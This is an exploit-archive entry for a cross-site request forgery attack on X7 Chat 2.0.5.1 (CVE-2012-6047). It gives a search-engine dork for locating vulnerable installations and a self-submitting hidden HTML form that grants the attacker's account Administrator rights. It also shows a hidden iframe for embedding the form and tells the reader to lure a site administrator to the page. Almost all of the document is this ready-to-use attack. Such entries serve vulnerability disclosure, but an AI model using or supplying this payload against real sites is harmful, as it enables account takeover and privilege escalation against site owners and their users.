[] NeoSense

X7 Chat 2.0.5.1 - Cross-Site Request Forgery (Add Admin)

Author: DennSpec
type: webapps
platform: php
port: 
date_added: 2012-05-09 
date_updated: 2012-05-09 
verified: 1 
codes: OSVDB-81827;CVE-2012-6047 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comx7chat2_0_5_1.zip

# Exploit Title: X7 Chat 2.0.5.1 CSRF Add Admin Exploit
# Google Dork: intitle:"Chat Room" "Powered By X7 Chat 2.0.5"
# Date: 09.05.2012
# Author: DennSpec
# Software Link: http://x7chat.com/releases/v2/x7chat2_0_5_1.zip
# Version: <= 2.0.5.1

firstly, register and give a username.

(frame.html in path of your main html page)

<html>
    <body onload="document.xform.submit();">
        <form name="xform" action="http://xxxxxxxxx.com/x7path/index.php?act=adminpanel&cp_page=users&update=YOURUSERNAME" method="post">
            <input type="hidden" name="username" value="YOURUSERNAME" />
            <input type="hidden" name="usergroup" value="Administrator" />
        </form>
    </body>
</html>

Replace http://xxxxxxxxx.com/x7path/ to your target url. Dont forget replace YOURUSERNAME to YOURUSERNAME.

add this code to inside body tag of main html page:
<iframe style="display:none;" src="frame.html"></iframe>

and... upload main page and frame.html . Send main page url to any administrator.